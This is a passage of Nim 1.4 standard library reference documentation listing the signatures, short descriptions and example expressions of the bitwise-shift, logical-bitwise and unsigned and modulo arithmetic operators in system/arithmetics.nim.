0b0000_0100'i8 0b0000_0001'i8 shr 1 == 0b0000_0000'i8 0b1000_0000'i8 shr 4 == 0b1111_1000'i8 -1 shr 5 == -1 1 shr 5 == 0 16 shr 2 == 4 -16 shr 2 == -4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L251) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L251) ``` proc `shr`(x: int8; y: SomeInteger): int8 {...}{.magic: "AshrI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L269) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L269) ``` proc `shr`(x: int16; y: SomeInteger): int16 {...}{.magic: "AshrI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L270) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L270) ``` proc `shr`(x: int32; y: SomeInteger): int32 {...}{.magic: "AshrI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L271) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L271) ``` proc `shr`(x: int64; y: SomeInteger): int64 {...}{.magic: "AshrI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L272) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L272) ``` proc `shl`(x: int; y: SomeInteger): int {...}{.magic: "ShlI", noSideEffect.} ``` Computes the `shift left` operation of `x` and `y`. **Note**: [Operator precedence](manual#syntax-precedence) is different than in *C*. ``` 1'i32 shl 4 == 0x0000_0010 1'i64 shl 4 == 0x0000_0000_0000_0010 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L275) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L275) ``` proc `shl`(x: int8; y: SomeInteger): int8 {...}{.magic: "ShlI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L284) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L284) ``` proc `shl`(x: int16; y: SomeInteger): int16 {...}{.magic: "ShlI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L285) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L285) ``` proc `shl`(x: int32; y: SomeInteger): int32 {...}{.magic: "ShlI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L286) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L286) ``` proc `shl`(x: int64; y: SomeInteger): int64 {...}{.magic: "ShlI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L287) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L287) ``` proc ashr(x: int; y: SomeInteger): int {...}{.magic: "AshrI", noSideEffect.} ``` Shifts right by pushing copies of the leftmost bit in from the left, and let the rightmost bits fall off. Note that `ashr` is not an operator so use the normal function call syntax for it. See also: * [shr proc](#shr,int,SomeInteger) ``` ashr(0b0001_0000'i8, 2) == 0b0000_0100'i8 ashr(0b1000_0000'i8, 8) == 0b1111_1111'i8 ashr(0b1000_0000'i8, 1) == 0b1100_0000'i8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L290) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L290) ``` proc ashr(x: int8; y: SomeInteger): int8 {...}{.magic: "AshrI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L304) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L304) ``` proc ashr(x: int16; y: SomeInteger): int16 {...}{.magic: "AshrI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L305) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L305) ``` proc ashr(x: int32; y: SomeInteger): int32 {...}{.magic: "AshrI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L306) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L306) ``` proc ashr(x: int64; y: SomeInteger): int64 {...}{.magic: "AshrI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L307) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L307) ``` proc `and`(x, y: int): int {...}{.magic: "BitandI", noSideEffect.} ``` Computes the `bitwise and` of numbers `x` and `y`. ``` (0b0011 and 0b0101) == 0b0001 (0b0111 and 0b1100) == 0b0100 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L312) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L312) ``` proc `and`(x, y: int8): int8 {...}{.magic: "BitandI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L318) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L318) ``` proc `and`(x, y: int16): int16 {...}{.magic: "BitandI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L319) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L319) ``` proc `and`(x, y: int32): int32 {...}{.magic: "BitandI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L320) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L320) ``` proc `and`(x, y: int64): int64 {...}{.magic: "BitandI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L321) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L321) ``` proc `or`(x, y: int): int {...}{.magic: "BitorI", noSideEffect.} ``` Computes the `bitwise or` of numbers `x` and `y`. ``` (0b0011 or 0b0101) == 0b0111 (0b0111 or 0b1100) == 0b1111 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L323) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L323) ``` proc `or`(x, y: int8): int8 {...}{.magic: "BitorI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L329) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L329) ``` proc `or`(x, y: int16): int16 {...}{.magic: "BitorI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L330) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L330) ``` proc `or`(x, y: int32): int32 {...}{.magic: "BitorI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L331) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L331) ``` proc `or`(x, y: int64): int64 {...}{.magic: "BitorI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L332) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L332) ``` proc `xor`(x, y: int): int {...}{.magic: "BitxorI", noSideEffect.} ``` Computes the `bitwise xor` of numbers `x` and `y`. ``` (0b0011 xor 0b0101) == 0b0110 (0b0111 xor 0b1100) == 0b1011 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L334) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L334) ``` proc `xor`(x, y: int8): int8 {...}{.magic: "BitxorI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L340) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L340) ``` proc `xor`(x, y: int16): int16 {...}{.magic: "BitxorI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L341) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L341) ``` proc `xor`(x, y: int32): int32 {...}{.magic: "BitxorI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L342) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L342) ``` proc `xor`(x, y: int64): int64 {...}{.magic: "BitxorI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L343) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L343) ``` proc `not`(x: uint): uint {...}{.magic: "BitnotI", noSideEffect.} ``` Computes the `bitwise complement` of the integer `x`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L346) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L346) ``` proc `not`(x: uint8): uint8 {...}{.magic: "BitnotI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L348) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L348) ``` proc `not`(x: uint16): uint16 {...}{.magic: "BitnotI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L349) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L349) ``` proc `not`(x: uint32): uint32 {...}{.magic: "BitnotI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L350) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L350) ``` proc `not`(x: uint64): uint64 {...}{.magic: "BitnotI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L351) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L351) ``` proc `shr`(x: uint; y: SomeInteger): uint {...}{.magic: "ShrI", noSideEffect.} ``` Computes the `shift right` operation of `x` and `y`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L353) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L353) ``` proc `shr`(x: uint8; y: SomeInteger): uint8 {...}{.magic: "ShrI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L355) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L355) ``` proc `shr`(x: uint16; y: SomeInteger): uint16 {...}{.magic: "ShrI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L356) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L356) ``` proc `shr`(x: uint32; y: SomeInteger): uint32 {...}{.magic: "ShrI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L357) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L357) ``` proc `shr`(x: uint64; y: SomeInteger): uint64 {...}{.magic: "ShrI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L358) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L358) ``` proc `shl`(x: uint; y: SomeInteger): uint {...}{.magic: "ShlI", noSideEffect.} ``` Computes the `shift left` operation of `x` and `y`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L360) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L360) ``` proc `shl`(x: uint8; y: SomeInteger): uint8 {...}{.magic: "ShlI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L362) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L362) ``` proc `shl`(x: uint16; y: SomeInteger): uint16 {...}{.magic: "ShlI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L363) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L363) ``` proc `shl`(x: uint32; y: SomeInteger): uint32 {...}{.magic: "ShlI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L364) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L364) ``` proc `shl`(x: uint64; y: SomeInteger): uint64 {...}{.magic: "ShlI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L365) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L365) ``` proc `and`(x, y: uint): uint {...}{.magic: "BitandI", noSideEffect.} ``` Computes the `bitwise and` of numbers `x` and `y`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L367) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L367) ``` proc `and`(x, y: uint8): uint8 {...}{.magic: "BitandI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L369) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L369) ``` proc `and`(x, y: uint16): uint16 {...}{.magic: "BitandI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L370) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L370) ``` proc `and`(x, y: uint32): uint32 {...}{.magic: "BitandI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L371) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L371) ``` proc `and`(x, y: uint64): uint64 {...}{.magic: "BitandI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L372) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L372) ``` proc `or`(x, y: uint): uint {...}{.magic: "BitorI", noSideEffect.} ``` Computes the `bitwise or` of numbers `x` and `y`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L374) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L374) ``` proc `or`(x, y: uint8): uint8 {...}{.magic: "BitorI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L376) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L376) ``` proc `or`(x, y: uint16): uint16 {...}{.magic: "BitorI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L377) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L377) ``` proc `or`(x, y: uint32): uint32 {...}{.magic: "BitorI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L378) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L378) ``` proc `or`(x, y: uint64): uint64 {...}{.magic: "BitorI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L379) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L379) ``` proc `xor`(x, y: uint): uint {...}{.magic: "BitxorI", noSideEffect.} ``` Computes the `bitwise xor` of numbers `x` and `y`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L381) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L381) ``` proc `xor`(x, y: uint8): uint8 {...}{.magic: "BitxorI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L383) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L383) ``` proc `xor`(x, y: uint16): uint16 {...}{.magic: "BitxorI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L384) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L384) ``` proc `xor`(x, y: uint32): uint32 {...}{.magic: "BitxorI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L385) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L385) ``` proc `xor`(x, y: uint64): uint64 {...}{.magic: "BitxorI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L386) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L386) ``` proc `+`(x, y: uint): uint {...}{.magic: "AddU", noSideEffect.} ``` Binary `+` operator for unsigned integers. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L388) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L388) ``` proc `+`(x, y: uint8): uint8 {...}{.magic: "AddU", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L390) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L390) ``` proc `+`(x, y: uint16): uint16 {...}{.magic: "AddU", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L391) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L391) ``` proc `+`(x, y: uint32): uint32 {...}{.magic: "AddU", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L392) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L392) ``` proc `+`(x, y: uint64): uint64 {...}{.magic: "AddU", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L393) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L393) ``` proc `-`(x, y: uint): uint {...}{.magic: "SubU", noSideEffect.} ``` Binary `-` operator for unsigned integers. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L395) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L395) ``` proc `-`(x, y: uint8): uint8 {...}{.magic: "SubU", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L397) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L397) ``` proc `-`(x, y: uint16): uint16 {...}{.magic: "SubU", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L398) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L398) ``` proc `-`(x, y: uint32): uint32 {...}{.magic: "SubU", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L399) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L399) ``` proc `-`(x, y: uint64): uint64 {...}{.magic: "SubU", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L400) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L400) ``` proc `*`(x, y: uint): uint {...}{.magic: "MulU", noSideEffect.} ``` Binary `*` operator for unsigned integers. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L402) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L402) ``` proc `*`(x, y: uint8): uint8 {...}{.magic: "MulU", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L404) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L404) ``` proc `*`(x, y: uint16): uint16 {...}{.magic: "MulU", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L405) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L405) ``` proc `*`(x, y: uint32): uint32 {...}{.magic: "MulU", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L406) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L406) ``` proc `*`(x, y: uint64): uint64 {...}{.magic: "MulU", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L407) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L407) ``` proc `div`(x, y: uint): uint {...}{.magic: "DivU", noSideEffect.} ``` Computes the integer division for unsigned integers. This is roughly the same as `trunc(x/y)`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L409) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L409) ``` proc `div`(x, y: uint8): uint8 {...}{.magic: "DivU", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L412) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L412) ``` proc `div`(x, y: uint16): uint16 {...}{.magic: "DivU", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L413) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L413) ``` proc `div`(x, y: uint32): uint32 {...}{.magic: "DivU", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L414) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L414) ``` proc `div`(x, y: uint64): uint64 {...}{.magic: "DivU", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L415) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L415) ``` proc `mod`(x, y: uint): uint {...}{.magic: "ModU", noSideEffect.} ``` Computes the integer modulo operation (remainder) for unsigned integers. This is the same as `x - (x div y) * y`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L417) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L417) ``` proc `mod`(x, y: uint8): uint8 {...}{.magic: "ModU", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L420) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L420) ``` proc `mod`(x, y: uint16): uint16 {...}{.magic: "ModU", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L421) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L421) ``` proc `mod`(x, y: uint32): uint32 {...}{.magic: "ModU", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L422) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L422) ``` proc `mod`(x, y: uint64): uint64 {...}{.magic: "ModU", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L423) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L423) ``` proc `+%`(x, y: int): int {...}{.inline, raises: [], tags: [].} ``` Treats `x` and `y` as unsigned and adds them. The result is truncated to fit into the result. This implements modulo arithmetic. No overflow errors are possible. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L425) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L425) ``` proc `+%`(x, y: int8): int8 {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L431) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L431) ``` proc `+%`(x, y: int16): int16 {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L432) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L432) ``` proc `+%`(x, y: int32): int32 {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L433) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L433) ``` proc `+%`(x, y: int64): int64 {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L434) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L434) ``` proc `-%`(x, y: int): int {...}{.inline, raises: [], tags: [].} ``` Treats `x` and `y` as unsigned and subtracts them. The result is truncated to fit into the result. This implements modulo arithmetic. No overflow errors are possible. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L436) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L436) ``` proc `-%`(x, y: int8): int8 {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L442) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L442) ``` proc `-%`(x, y: int16): int16 {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L443) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L443) ``` proc `-%`(x, y: int32): int32 {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L444) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L444) ``` proc `-%`(x, y: int64): int64 {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L445) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L445) ``` proc `*%`(x, y: int): int {...}{.inline, raises: [], tags: [].} ``` Treats `x` and `y` as unsigned and multiplies them. The result is truncated to fit into the result. This implements modulo arithmetic. No overflow errors are possible. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L447) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L447) ``` proc `*%`(x, y: int8): int8 {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L453) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L453) ``` proc `*%`(x, y: int16): int16 {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L454) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L454) ``` proc `*%`(x, y: int32): int32 {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L455) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L455) ``` proc `*%`(x, y: int64): int64 {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L456) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L456) ``` proc `/%`(x, y: int): int {...}{.inline, raises: [], tags: [].} ``` Treats `x` and `y` as unsigned and divides them. The result is truncated to fit into the result. This implements modulo arithmetic. No overflow errors are possible. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L458) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L458) ``` proc `/%`(x, y: int8): int8 {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L464) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L464) ``` proc `/%`(x, y: int16): int16 {...}{.inline, raises: [], tags: [].} ``` 